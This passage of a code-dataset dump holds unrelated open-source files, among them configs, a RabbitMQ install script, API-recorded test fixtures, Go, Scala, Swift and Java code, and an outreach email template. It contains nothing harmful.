tensorflow.contrib.slim.python.slim.data import data_provider\nfrom tensorflow.contrib.slim.python.slim.data import dataset\nfrom tensorflow.contrib.slim.python.slim.data import dataset_data_provider\nfrom tensorflow.contrib.slim.python.slim.data import parallel_reader\nfrom tensorflow.contrib.slim.python.slim.data import prefetch_queue\nfrom tensorflow.contrib.slim.python.slim.data import tfexample_decoder\nfrom tensorflow.python.util.all_util import make_all\n# pylint: enable=unused-import,line-too-long,g-importing-member,wildcard-import\n\n__all__ = make_all(__name__)\n"} {"text": "interactions:\n- request:\n body: null\n headers:\n Accept: ['*/*']\n Accept-Encoding: ['gzip, deflate']\n Connection: [keep-alive]\n User-Agent: [pyTenable/0.3.5 (pyTenable/0.3.5; Python/2.7.14)]\n X-APIKeys: [accessKey=TIO_ACCESS_KEY;secretKey=TIO_SECRET_KEY]\n method: GET\n uri: https://cloud.tenable.com/container-security/api/v2/repositories?limit=50&offset=0\n response:\n body:\n string: !!binary |\n H4sIAAAAAAAAA5XO3WrDMAwF4HfRtWH+a7Lkcn2M0gtlqKlBtovtdCsh7z6ztawLlNE76XAkvhlc\n IZ+h380Q0BP0wG5ImC4gwHkcKW/jFAr0SgDjQHzbtYDzxIESDo5dcb9FKcAjf2Cia1KD08R8v+Xj\n rd0KKLEgv10KVYc20lrZLmLtecmFzuTfx4Tl+B9OPcKZ5hmcXtmUbbTtZHOno0/0J6Y1yKxA5hGo\n 08+AzF+Q2ZhWvXZWLftaw9EFLC4G6GeIh0Omn3t23tVpI6/H329yTDXb7ZflCxY47ZYDAgAA\n headers:\n cache-control: [no-cache]\n connection: [keep-alive]\n content-encoding: [gzip]\n content-type: [application/json; charset=utf-8]\n date: ['Wed, 02 Jan 2019 22:16:05 GMT']\n server: [tenable.io]\n set-cookie: [nginx-cloud-site-id=us-2b; path=/; HttpOnly, nginx-cloud-site-id=us-2b;\n path=/; HttpOnly]\n strict-transport-security: [max-age=63072000; includeSubDomains]\n transfer-encoding: [chunked]\n vary: [accept-encoding]\n x-content-type-options: [nosniff]\n x-frame-options: [DENY]\n x-gateway-site-id: [nginx-router-b-prod-ca-central-1]\n x-request-uuid: [f8c1f28e9526b83d25f7b6c07c5fc82c]\n x-xss-protection: [1; mode=block]\n status: {code: 200, message: OK}\n- request:\n body: null\n headers:\n Accept: ['*/*']\n Accept-Encoding: ['gzip, deflate']\n Connection: [keep-alive]\n Cookie: [nginx-cloud-site-id=us-2b]\n User-Agent: [pyTenable/0.3.5 (pyTenable/0.3.5; Python/2.7.14)]\n X-APIKeys: [accessKey=TIO_ACCESS_KEY;secretKey=TIO_SECRET_KEY]\n method: GET\n uri: https://cloud.tenable.com/container-security/api/v2/repositories/library\n response:\n body:\n string: !!binary |\n H4sIAAAAAAAAA02MSwrDMAwF7/LWWjgfCGTZnEQG0Qpkp9hySii9e7JoaJczDPNG5iSYYRoLlx0E\n TXyXuqwtO+aOYBzFLu4JW7MshaOauv7CQEhsLy7yNad4NrN/qo+rngi+Otttd6nndgjjGKbPAaxT\n i/OPAAAA\n headers:\n cache-control: [no-cache]\n connection: [keep-alive]\n content-encoding: [gzip]\n content-type: [application/json; charset=utf-8]\n date: ['Wed, 02 Jan 2019 22:16:05 GMT']\n server: [tenable.io]\n set-cookie: [nginx-cloud-site-id=us-2b; path=/; HttpOnly, nginx-cloud-site-id=us-2b;\n path=/; HttpOnly]\n strict-transport-security: [max-age=63072000; includeSubDomains]\n transfer-encoding: [chunked]\n vary: [accept-encoding]\n x-content-type-options: [nosniff]\n x-frame-options: [DENY]\n x-gateway-site-id: [nginx-router-b-prod-ca-central-1]\n x-request-uuid: [96cc385fe20c23ea09eaa2d941e6f020]\n x-xss-protection: [1; mode=block]\n status: {code: 200, message: OK}\nversion: 1\n"} {"text": "#!/usr/bin/env bash\n# SPDX-License-Identifier: BSD-3-Clause\n# Copyright 2015-2019, Intel Corporation\n\n#\n# src/test/obj_pool_lookup/TEST0 -- unit test for pmemobj_pool\n#\n\n. ../unittest/unittest.sh\n\nrequire_test_type medium\n\nrequire_fs_type any\n\nsetup\n\nexpect_normal_exit ./obj_pool_lookup$EXESUFFIX $DIR 9\n\npass\n"} {"text": "Configuration:\n status: error\n\n appenders:\n Console:\n name: Console\n PatternLayout:\n Pattern: \"[%-5level] %d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %c{1} - %msg%n\"\n Loggers:\n logger:\n - name: io.reflectoring\n level: debug\n additivity: false\n AppenderRef:\n - ref: Console\n Root:\n level: error\n AppenderRef:\n ref: Console"} {"text": "class AddTrigramIndexToTags < ActiveRecord::Migration[4.2]\n def up\n Tag.without_timeout do\n execute \"create index index_tags_on_name_trgm on tags using gin (name gin_trgm_ops)\"\n end\n end\n\n def down\n Tag.without_timeout do\n execute \"drop index index_tags_on_name_trgm\"\n end\n end\nend\n"} {"text": "/**\n * \n * WARNING! This file was autogenerated by: \n * _ _ _ _ __ __ \n * | | | | | | |\\ \\ / / \n * | | | | |_| | \\ V / \n * | | | | _ | / \\ \n * | |_| | | | |/ /^\\ \\ \n * \\___/\\_| |_/\\/ \\/ \n * \n * This file was autogenerated by UnrealHxGenerator using UHT definitions.\n * It only includes UPROPERTYs and UFUNCTIONs. Do not modify it!\n * In order to add more definitions, create or edit a type with the same name/package, but with an `_Extra` suffix\n**/\npackage unreal;\n\n/**\n Struct that allows for different ways to reference a component.\n If just an Actor is specified, will return RootComponent of that Actor.\n**/\n@:glueCppIncludes(\"Classes/Engine/EngineTypes.h\")\n@:uextern @:ustruct extern class FComponentReference {\n \n /**\n Name of component property to use\n **/\n @:uproperty public var ComponentProperty : unreal.FName;\n \n /**\n Pointer to a different Actor that owns the Component.\n **/\n @:uproperty public var OtherActor : unreal.AActor;\n \n}\n"} {"text": "package http\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\n\t\"gopkg.in/src-d/go-git.v4/plumbing\"\n\t\"gopkg.in/src-d/go-git.v4/plumbing/format/pktline\"\n\t\"gopkg.in/src-d/go-git.v4/plumbing/protocol/packp\"\n\t\"gopkg.in/src-d/go-git.v4/plumbing/transport\"\n\t\"gopkg.in/src-d/go-git.v4/plumbing/transport/internal/common\"\n\t\"gopkg.in/src-d/go-git.v4/utils/ioutil\"\n)\n\ntype upSession struct {\n\t*session\n}\n\nfunc newUploadPackSession(c *http.Client, ep *transport.Endpoint, auth transport.AuthMethod) (transport.UploadPackSession, error) {\n\ts, err := newSession(c, ep, auth)\n\treturn &upSession{s}, err\n}\n\nfunc (s *upSession) AdvertisedReferences() (*packp.AdvRefs, error) {\n\treturn advertisedReferences(s.session, transport.UploadPackServiceName)\n}\n\nfunc (s *upSession) UploadPack(\n\tctx context.Context, req *packp.UploadPackRequest,\n) (*packp.UploadPackResponse, error) {\n\n\tif req.IsEmpty() {\n\t\treturn nil, transport.ErrEmptyUploadPackRequest\n\t}\n\n\tif err := req.Validate(); err != nil {\n\t\treturn nil, err\n\t}\n\n\turl := fmt.Sprintf(\n\t\t\"%s/%s\",\n\t\ts.endpoint.String(), transport.UploadPackServiceName,\n\t)\n\n\tcontent, err := uploadPackRequestToReader(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tres, err := s.doRequest(ctx, http.MethodPost, url, content)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tr, err := ioutil.NonEmptyReader(res.Body)\n\tif err != nil {\n\t\tif err == ioutil.ErrEmptyReader || err == io.ErrUnexpectedEOF {\n\t\t\treturn nil, transport.ErrEmptyUploadPackRequest\n\t\t}\n\n\t\treturn nil, err\n\t}\n\n\trc := ioutil.NewReadCloser(r, res.Body)\n\treturn common.DecodeUploadPackResponse(rc, req)\n}\n\n// Close does nothing.\nfunc (s *upSession) Close() error {\n\treturn nil\n}\n\nfunc (s *upSession) doRequest(\n\tctx context.Context, method, url string, content *bytes.Buffer,\n) (*http.Response, error) {\n\n\tvar body io.Reader\n\tif content != nil {\n\t\tbody = content\n\t}\n\n\treq, err := http.NewRequest(method, url, body)\n\tif err != nil {\n\t\treturn nil, plumbing.NewPermanentError(err)\n\t}\n\n\tapplyHeadersToRequest(req, content, s.endpoint.Host, transport.UploadPackServiceName)\n\ts.ApplyAuthToRequest(req)\n\n\tres, err := s.client.Do(req.WithContext(ctx))\n\tif err != nil {\n\t\treturn nil, plumbing.NewUnexpectedError(err)\n\t}\n\n\tif err := NewErr(res); err != nil {\n\t\t_ = res.Body.Close()\n\t\treturn nil, err\n\t}\n\n\treturn res, nil\n}\n\nfunc uploadPackRequestToReader(req *packp.UploadPackRequest) (*bytes.Buffer, error) {\n\tbuf := bytes.NewBuffer(nil)\n\te := pktline.NewEncoder(buf)\n\n\tif err := req.UploadRequest.Encode(buf); err != nil {\n\t\treturn nil, fmt.Errorf(\"sending upload-req message: %s\", err)\n\t}\n\n\tif err := req.UploadHaves.Encode(buf, false); err != nil {\n\t\treturn nil, fmt.Errorf(\"sending haves message: %s\", err)\n\t}\n\n\tif err := e.EncodeString(\"done\\n\"); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn buf, nil\n}\n"} {"text": "<resources>\n\n <!-- Base application theme. -->\n <style name=\"AppTheme\" parent=\"Theme.AppCompat.Light.DarkActionBar\">\n <!-- Customize your theme here. -->\n <item name=\"colorPrimary\">@color/colorPrimary</item>\n <item name=\"colorPrimaryDark\">@color/colorPrimaryDark</item>\n <item name=\"colorAccent\">@color/colorAccent</item>\n </style>\n <style name=\"edit_AlertDialog_style2\" parent=\"@android:style/Theme.Dialog\">\n\n <item name=\"android:windowIsFloating\">true</item>\n <item name=\"android:windowIsTranslucent\">true</item>\n <item name=\"android:windowNoTitle\">true</item>\n <!-- 是否启用标题栏 -->\n <item name=\"android:windowBackground\">@android:color/transparent</item>\n <item name=\"android:background\">@android:color/transparent</item>\n <item name=\"android:backgroundDimEnabled\">true</item>\n <!-- 是否使用背景半透明 -->\n\n\n </style>\n</resources>\n"} {"text": "package org.knowm.xchange.bitmex.dto.trade;\n\nimport com.fasterxml.jackson.core.JsonParser;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.core.ObjectCodec;\nimport com.fasterxml.jackson.databind.DeserializationContext;\nimport com.fasterxml.jackson.databind.JsonDeserializer;\nimport com.fasterxml.jackson.databind.JsonNode;\nimport java.io.IOException;\nimport java.util.EnumSet;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Set;\nimport org.knowm.xchange.dto.Order.IOrderFlags;\n\npublic enum BitmexOrderFlags implements IOrderFlags {\n FCIB, // prefer fee in base currency\n FCIQ, // prefer fee in quote currency\n NOMPP, // no market price protection\n POST, // for market maker orders\n VIQC; // volume in quote currency\n\n private static final Map<String, BitmexOrderFlags> fromString = new HashMap<>();\n\n static {\n for (BitmexOrderFlags orderFlag : values()) fromString.put(orderFlag.toString(), orderFlag);\n }\n\n public static BitmexOrderFlags fromString(String orderTypeString) {\n\n return fromString.get(orderTypeString.toLowerCase());\n }\n\n @Override\n public String toString() {\n\n return super.toString().toLowerCase();\n }\n\n static class BitmexOrderFlagsDeserializer extends JsonDeserializer<Set<BitmexOrderFlags>> {\n\n @Override\n public Set<BitmexOrderFlags> deserialize(JsonParser jsonParser, DeserializationContext ctxt)\n throws IOException, JsonProcessingException {\n\n ObjectCodec oc = jsonParser.getCodec();\n JsonNode node = oc.readTree(jsonParser);\n String orderFlagsString = node.textValue();\n Set<BitmexOrderFlags> orderFlags = EnumSet.noneOf(BitmexOrderFlags.class);\n if (!orderFlagsString.isEmpty()) {\n for (String orderFlag : orderFlagsString.split(\",\")) orderFlags.add(fromString(orderFlag));\n }\n return orderFlags;\n }\n }\n}\n"} {"text": "UPDATE `realmlist` SET `gamebuild`=22498 WHERE `gamebuild`=22423;\n\nALTER TABLE `realmlist` CHANGE `gamebuild` `gamebuild` int(10) unsigned NOT NULL DEFAULT '22498';\n"} {"text": "# created by tools/tclZIC.tcl - do not edit\n\nset TZData(:Pacific/Pohnpei) {\n {-9223372036854775808 37972 0 LMT}\n {-2177490772 39600 0 PONT}\n}\n"} {"text": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n <dimen name=\"big_large\">24sp</dimen>\n <dimen name=\"large\">22sp</dimen>\n <dimen name=\"big_medium\">20sp</dimen>\n <dimen name=\"medium\">18sp</dimen>\n <dimen name=\"big_small\">16sp</dimen>\n <dimen name=\"small\">14sp</dimen>\n <dimen name=\"micro\">12sp</dimen>\n</resources>"} {"text": "\n// Import the PS Move API Package\nimport io.thp.psmove.*;\n\nPSMove move;\n\nvoid setup() {\n move = new PSMove(0);\n move.enable_orientation(1); // We need to tell the PSMove object to activate sensor fusion\n move.reset_orientation(); // Set the values of the quaternions to their start values [1, 0, 0, 0] \n}\n\nvoid draw() {\n float [] quat0 = {0.f}, quat1 = {0.f}, quat2 = {0.f}, quat3 = {0.f};\n\n while (move.poll() != 0) {}\n \n move.get_orientation(quat0, quat1, quat2, quat3);\n \n println(\"quatW = \"+quat0[0]+\" | quatX = \"+quat1[0]+\" | quatY = \"+quat2[0]+\" | quatZ = \"+quat3[0]);\n}\n\n\n"} {"text": "Hello {{name|raw}},\n\nMy name is Vladimir Kobzev. I am knowledge manager of Rizzoma team. \nRecently, I have read your article \"{{post|raw}}\" about new tecnologies in education. I find your point of view very relevant and important to the project our team is working for.\n\nThis is the main reason why I am writing you.\n\nOur team created a product — Rizzoma Wiki <http://rizzoma.com/for-education-and-research.html?cv=mc> that provides a first-rate technology for effective group communication and realtime collaboration. Rizzoma is used in different fields. One of them is Live Wiki for Education and Research. The main strength of our project is an opportunity to comment and leave a @mention in any place of a document.\n\nEfficient communication and sharing of information are highly important for the educational process. From this perspective, Rizzoma is a service that can greatly facilitate group projects in Education and Research. \n\nThis is an example how a group of biologists uses Rizzoma in their research team work <http://blog.rizzoma.com/2012/05/30/education-process-with-rizzoma/>.\n\nFrom this perspective, we would appreciate to hear your expert opinion about our project as an e-learning platform.\n\nEnthusiastically,\nVladimir Kobzev,\nRizzoma Squad"} {"text": "#!/bin/sh\n\nsudo apt-get install -y wget\nwget -O - \"https://github.com/rabbitmq/signing-keys/releases/download/2.0/rabbitmq-release-signing-key.asc\" | sudo apt-key add -\n\nsudo tee /etc/apt/sources.list.d/bintray.rabbitmq.list <<EOF\ndeb https://dl.bintray.com/rabbitmq-erlang/debian bionic erlang\ndeb https://dl.bintray.com/rabbitmq/debian bionic main\nEOF\n\nsudo apt-get update -y\nsudo apt-get upgrade -y\nsudo apt-get install -y rabbitmq-server\n\nsudo service rabbitmq-server start\n\nuntil sudo lsof -i:5672; do echo \"Waiting for RabbitMQ to start...\"; sleep 1; done\n"} {"text": "/*\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage water.webserver.jetty9\n\nimport ai.h2o.sparkling.{H2OConf, H2OContext}\nimport ai.h2o.sparkling.backend.api.ShutdownServlet\nimport ai.h2o.sparkling.backend.api.dataframes.DataFramesServlet\nimport ai.h2o.sparkling.backend.api.h2oframes.H2OFramesServlet\nimport ai.h2o.sparkling.backend.api.options.OptionsServlet\nimport ai.h2o.sparkling.backend.api.rdds.RDDsServlet\nimport ai.h2o.sparkling.backend.api.scalainterpreter.ScalaInterpreterServlet\nimport org.eclipse.jetty.client.HttpClient\nimport org.eclipse.jetty.proxy.ProxyServlet.Transparent\nimport org.eclipse.jetty.security.SecurityHandler\nimport org.eclipse.jetty.server.Server\nimport org.eclipse.jetty.servlet.{ServletContextHandler, ServletHandler, ServletHolder, ServletMapping}\nimport org.eclipse.jetty.util.ssl.SslContextFactory\nimport org.eclipse.jetty.util.thread.ScheduledExecutorScheduler\nimport water.webserver.iface.{H2OHttpView, LoginType}\n\nclass SparklingWaterJettyHelper(hc: H2OContext, conf: H2OConf, h2oHttpView: H2OHttpView)\n extends Jetty9Helper(h2oHttpView) {\n\n override def createServletContextHandler(): ServletContextHandler = {\n val context = new ServletContextHandler(ServletContextHandler.NO_SECURITY | ServletContextHandler.NO_SESSIONS)\n context.setContextPath(conf.contextPath.getOrElse(\"/\"))\n context.setServletHandler(proxyContextHandler(conf))\n if (conf.isH2OReplEnabled) {\n ScalaInterpreterServlet.register(context, conf, hc)\n }\n RDDsServlet.register(context, conf, hc)\n H2OFramesServlet.register(context, conf, hc)\n DataFramesServlet.register(context, conf, hc)\n ShutdownServlet.register(context, conf, hc)\n OptionsServlet.register(context, conf, hc)\n context\n }\n\n private def proxyContextHandler(conf: H2OConf): ServletHandler = {\n val handler = new ServletHandler()\n val holder = new ServletHolder(new H2OFlowProxyServlet(conf))\n handler.addServlet(holder)\n val m = new ServletMapping()\n m.setServletName(holder.getName)\n m.setPathSpec(\"/*\")\n handler.addServletMapping(m)\n val ipPort = conf.h2oCluster.get\n holder.setInitParameter(\"proxyTo\", s\"${conf.getScheme()}://$ipPort${conf.contextPath.getOrElse(\"\")}\")\n holder.setInitParameter(\"idleTimeout\", s\"${conf.restApiTimeout}\")\n holder.setInitParameter(\"timeout\", s\"${conf.restApiTimeout}\")\n handler\n }\n\n class H2OFlowProxyServlet(val conf: H2OConf) extends Transparent {\n override def newHttpClient(): HttpClient = {\n val client = if (conf.jks.isDefined) {\n val sslFactory = createSSLContextFactory(conf)\n new HttpClient(sslFactory)\n } else {\n new HttpClient()\n }\n client.setScheduler(new ScheduledExecutorScheduler(null, true))\n client\n }\n }\n\n private def createSSLContextFactory(conf: H2OConf) = {\n if (conf.jksPass.isEmpty) {\n throw new RuntimeException(\"JKS is specified but JKS password is missing!\")\n }\n val sslFactory = new SslContextFactory(conf.jks.get)\n sslFactory.setKeyStorePassword(conf.jksPass.get)\n if (conf.jksAlias.isDefined) {\n sslFactory.setCertAlias(conf.jksAlias.get)\n }\n sslFactory\n }\n\n def startServer(port: Int): Server = {\n val jettyServer = createJettyServer(\"0.0.0.0\", port)\n val context = createServletContextHandler()\n if (h2oHttpView.getConfig.loginType != LoginType.NONE) {\n context.setSecurityHandler(authWrapper(jettyServer).asInstanceOf[SecurityHandler])\n }\n jettyServer.setHandler(context)\n jettyServer.start()\n jettyServer\n }\n}\n"} {"text": "# coding=utf-8\n# 格式化字符串\n\n\"\"\"\nTemplate无疑是一个好东西,可以将字符串的格式固定下来,重复利用。\n同时Template也可以让开发人员可以分别考虑字符串的格式和其内容了,无形中减轻了开发人员的压力。\nTemplate属于string中的一个类,所以要使用的话可以用以下方式调用\nfrom string import Template\nTemplate有个特殊标示符$,它具有以下的规则:\n它的主要实现方式为$xxx,其中xxx是满足python命名规则的字符串,即不能以数字开头,不能为关键字等\n如果$xxx需要和其他字符串接触时,可用{}将xxx包裹起来\n\"\"\"\n\nimport string\n\nvalues = {'name': 'jumper', 'age': 30}\n\nt = string.Template(\"\"\"\nname : $name\nage : ${age} years\nEscape : $$\n\"\"\")\n\nprint 'TEMPLATE:', t.substitute(values)"} {"text": "//===--- PropertyTests.swift ----------------------------------*- swift -*-===//\n//\n// This source file is part of the Swift Numerics open source project\n//\n// Copyright (c) 2019 - 2020 Apple Inc. and the Swift Numerics project authors\n// Licensed under Apache License v2.0 with Runtime Library Exception\n//\n// See https://swift.org/LICENSE.txt for license information\n//\n//===----------------------------------------------------------------------===//\n\nimport XCTest\nimport ComplexModule\nimport RealModule\n\nfinal class PropertyTests: XCTestCase {\n \n func testProperties<T: Real>(_ type: T.Type) {\n // The real and imaginary parts of a non-finite value should be nan.\n XCTAssertTrue(Complex<T>.infinity.real.isNaN)\n XCTAssertTrue(Complex<T>.infinity.imaginary.isNaN)\n XCTAssertTrue(Complex<T>(.infinity, .nan).real.isNaN)\n XCTAssertTrue(Complex<T>(.nan, 0).imaginary.isNaN)\n // The length of a non-finite value should be infinity.\n XCTAssertEqual(Complex<T>.infinity.length, .infinity)\n XCTAssertEqual(Complex<T>(.infinity, .nan).length, .infinity)\n XCTAssertEqual(Complex<T>(.nan, 0).length, .infinity)\n // The phase of a non-finite value should be nan.\n XCTAssertTrue(Complex<T>.infinity.phase.isNaN)\n XCTAssertTrue(Complex<T>(.infinity, .nan).phase.isNaN)\n XCTAssertTrue(Complex<T>(.nan, 0).phase.isNaN)\n // The length of a zero value should be zero.\n XCTAssertEqual(Complex<T>.zero.length, .zero)\n XCTAssertEqual(Complex<T>(.zero, -.zero).length, .zero)\n XCTAssertEqual(Complex<T>(-.zero,-.zero).length, .zero)\n // The phase of a zero value should be nan.\n XCTAssertTrue(Complex<T>.zero.phase.isNaN)\n XCTAssertTrue(Complex<T>(.zero, -.zero).phase.isNaN)\n XCTAssertTrue(Complex<T>(-.zero,-.zero).phase.isNaN)\n }\n \n func testProperties() {\n testProperties(Float.self)\n testProperties(Double.self)\n #if (arch(i386) || arch(x86_64)) && !os(Windows) && !os(Android)\n testProperties(Float80.self)\n #endif\n }\n \n func testEquatableHashable<T: Real>(_ type: T.Type) {\n // Validate that all zeros compare and hash equal, and all non-finites\n // do too.\n let zeros = [\n Complex<T>( .zero, .zero),\n Complex<T>(-.zero, .zero),\n Complex<T>(-.zero,-.zero),\n Complex<T>( .zero,-.zero)\n ]\n for z in zeros[1...] {\n XCTAssertEqual(zeros[0], z)\n XCTAssertEqual(zeros[0].hashValue, z.hashValue)\n }\n let infs = [\n Complex<T>( .nan, .nan),\n Complex<T>(-.infinity, .nan),\n Complex<T>(-.ulpOfOne, .nan),\n Complex<T>( .zero, .nan),\n Complex<T>( .pi, .nan),\n Complex<T>( .infinity, .nan),\n Complex<T>( .nan, -.infinity),\n Complex<T>(-.infinity,-.infinity),\n Complex<T>(-.ulpOfOne,-.infinity),\n Complex<T>( .zero, -.infinity),\n Complex<T>( .pi, -.infinity),\n Complex<T>( .infinity,-.infinity),\n Complex<T>( .nan, -.ulpOfOne),\n Complex<T>(-.infinity,-.ulpOfOne),\n Complex<T>( .infinity,-.ulpOfOne),\n Complex<T>( .nan, .zero),\n Complex<T>(-.infinity, .zero),\n Complex<T>( .infinity, .zero),\n Complex<T>( .nan, .pi),\n Complex<T>(-.infinity, .pi),\n Complex<T>( .infinity, .pi),\n Complex<T>( .nan, .infinity),\n Complex<T>(-.infinity, .infinity),\n Complex<T>(-.ulpOfOne, .infinity),\n Complex<T>( .zero, .infinity),\n Complex<T>( .pi, .infinity),\n Complex<T>( .infinity, .infinity),\n ]\n for i in infs[1...] {\n XCTAssertEqual(infs[0], i)\n XCTAssertEqual(infs[0].hashValue, i.hashValue)\n }\n }\n \n func testEquatableHashable() {\n testEquatableHashable(Float.self)\n testEquatableHashable(Double.self)\n #if (arch(i386) || arch(x86_64)) && !os(Windows) && !os(Android)\n testEquatableHashable(Float80.self)\n #endif\n }\n\n func testCodable<T: Codable & Real>(_ type: T.Type) throws {\n let encoder = JSONEncoder()\n encoder.nonConformingFloatEncodingStrategy = .convertToString(\n positiveInfinity: \"inf\",\n negativeInfinity: \"-inf\",\n nan: \"nan\")\n\n let decoder = JSONDecoder()\n decoder.nonConformingFloatDecodingStrategy = .convertFromString(\n positiveInfinity: \"inf\",\n negativeInfinity: \"-inf\",\n nan: \"nan\")\n\n for expected: Complex<T> in [.zero, .one, .i, .infinity] {\n let data = try encoder.encode(expected)\n // print(\"*** \\(String(decoding: data, as: Unicode.UTF8.self)) ***\")\n let actual = try decoder.decode(Complex<T>.self, from: data)\n XCTAssertEqual(actual, expected)\n }\n }\n\n func testCodable() throws {\n try testCodable(Float32.self)\n try testCodable(Float64.self)\n // Float80 doesn't conform to Codable.\n }\n}\n"} {"text": "/*\n * Copyright 2014 Attila Szegedi, Daniel Dekany, Jonathan Revusky\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n * http://www.apache.org/licenses/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage freemarker.cache;\n\nimport static org.junit.Assert.*;\n\nimport java.io.IOException;\nimport java.io.Reader;\nimport java.net.URL;\nimport java.util.Locale;\n\nimport org.hamcrest.Matchers;\nimport org.junit.Test;\n\nimport freemarker.core.ParseException;\nimport freemarker.template.Configuration;\nimport freemarker.template.MalformedTemplateNameException;\nimport freemarker.template.Template;\nimport freemarker.template.TemplateNotFoundException;\nimport freemarker.template.Version;\n\npublic class TemplateCacheTest {\n\n @Test\n public void testCachedException() throws Exception {\n MockTemplateLoader loader = new MockTemplateLoader();\n TemplateCache cache = new TemplateCache(loader, new StrongCacheStorage());\n cache.setDelay(1000L);\n loader.setThrowException(true);\n try {\n cache.getTemplate(\"t\", Locale.getDefault(), \"\", true);\n fail();\n } catch (IOException e) {\n assertEquals(\"mock IO exception\", e.getMessage());\n assertEquals(1, loader.getFindCount());\n try {\n cache.getTemplate(\"t\", Locale.getDefault(), \"\", true);\n fail();\n } catch (IOException e2) {\n // Still 1 - returned cached exception\n assertThat(e2.getMessage(),\n Matchers.allOf(Matchers.containsString(\"There was an error loading the template on an \" +\n \"earlier attempt\")));\n assertSame(e, e2.getCause());\n assertEquals(1, loader.getFindCount());\n try {\n Thread.sleep(1100L);\n cache.getTemplate(\"t\", Locale.getDefault(), \"\", true);\n fail();\n } catch (IOException e3) {\n // Cache had to retest\n assertEquals(\"mock IO exception\", e.getMessage());\n assertEquals(2, loader.getFindCount());\n }\n }\n }\n }\n \n @Test\n public void testCachedNotFound() throws Exception {\n MockTemplateLoader loader = new MockTemplateLoader();\n TemplateCache cache = new TemplateCache(loader, new StrongCacheStorage(), new Configuration());\n cache.setDelay(1000L);\n cache.setLocalizedLookup(false);\n assertNull(cache.getTemplate(\"t\", Locale.getDefault(), \"\", true));\n assertEquals(1, loader.getFindCount());\n assertNull(cache.getTemplate(\"t\", Locale.getDefault(), \"\", true));\n // Still 1 - returned cached exception\n assertEquals(1, loader.getFindCount());\n Thread.sleep(1100L);\n assertNull(cache.getTemplate(\"t\", Locale.getDefault(), \"\", true));\n // Cache had to retest\n assertEquals(2, loader.getFindCount());\n }\n\n private static class MockTemplateLoader implements TemplateLoader {\n private boolean throwException;\n private int findCount; \n \n public void setThrowException(boolean throwException) {\n this.throwException = throwException;\n }\n \n public int getFindCount() {\n return findCount;\n }\n \n public void closeTemplateSource(Object templateSource)\n throws IOException {\n }\n\n public Object findTemplateSource(String name) throws IOException {\n ++findCount;\n if (throwException) {\n throw new IOException(\"mock IO exception\");\n }\n return null;\n }\n\n public long getLastModified(Object templateSource) {\n return 0;\n }\n\n public Reader getReader(Object templateSource, String encoding)\n throws IOException {\n return null;\n }\n \n }\n \n @Test\n public void testManualRemovalPlain() throws IOException {\n Configuration cfg = new Configuration();\n cfg.setCacheStorage(new StrongCacheStorage());\n StringTemplateLoader loader = new StringTemplateLoader();\n cfg.setTemplateLoader(loader);\n cfg.setTemplateUpdateDelay(Integer.MAX_VALUE);\n \n loader.putTemplate(\"1.ftl\", \"1 v1\");\n loader.putTemplate(\"2.ftl\", \"2 v1\");\n assertEquals(\"1 v1\", cfg.getTemplate(\"1.ftl\").toString()); \n assertEquals(\"2 v1\", cfg.getTemplate(\"2.ftl\").toString());\n \n loader.putTemplate(\"1.ftl\", \"1 v2\");\n loader.putTemplate(\"2.ftl\", \"2 v2\");\n assertEquals(\"1 v1\", cfg.getTemplate(\"1.ftl\").toString()); // no change \n assertEquals(\"2 v1\", cfg.getTemplate(\"2.ftl\").toString()); // no change\n \n cfg.removeTemplateFromCache(\"1.ftl\");\n assertEquals(\"1 v2\", cfg.getTemplate(\"1.ftl\").toString()); // changed \n assertEquals(\"2 v1\", cfg.getTemplate(\"2.ftl\").toString());\n \n cfg.removeTemplateFromCache(\"2.ftl\");\n assertEquals(\"1 v2\", cfg.getTemplate(\"1.ftl\").toString()); \n assertEquals(\"2 v2\", cfg.getTemplate(\"2.ftl\").toString()); // changed\n }\n\n @Test\n public void testManualRemovalI18ed() throws IOException {\n Configuration cfg = new Configuration();\n cfg.setCacheStorage(new StrongCacheStorage());\n cfg.setLocale(Locale.US);\n StringTemplateLoader loader = new StringTemplateLoader();\n cfg.setTemplateLoader(loader);\n cfg.setTemplateUpdateDelay(Integer.MAX_VALUE);\n \n loader.putTemplate(\"1_en_US.ftl\", \"1_en_US v1\");\n loader.putTemplate(\"1_en.ftl\", \"1_en v1\");\n loader.putTemplate(\"1.ftl\", \"1 v1\");\n \n assertEquals(\"1_en_US v1\", cfg.getTemplate(\"1.ftl\").toString()); \n assertEquals(\"1_en v1\", cfg.getTemplate(\"1.ftl\", Locale.UK).toString()); \n assertEquals(\"1 v1\", cfg.getTemplate(\"1.ftl\", Locale.GERMANY).toString());\n \n loader.putTemplate(\"1_en_US.ftl\", \"1_en_US v2\");\n loader.putTemplate(\"1_en.ftl\", \"1_en v2\");\n loader.putTemplate(\"1.ftl\", \"1 v2\");\n assertEquals(\"1_en_US v1\", cfg.getTemplate(\"1.ftl\").toString()); \n assertEquals(\"1_en v1\", cfg.getTemplate(\"1.ftl\", Locale.UK).toString()); \n assertEquals(\"1 v1\", cfg.getTemplate(\"1.ftl\", Locale.GERMANY).toString());\n \n 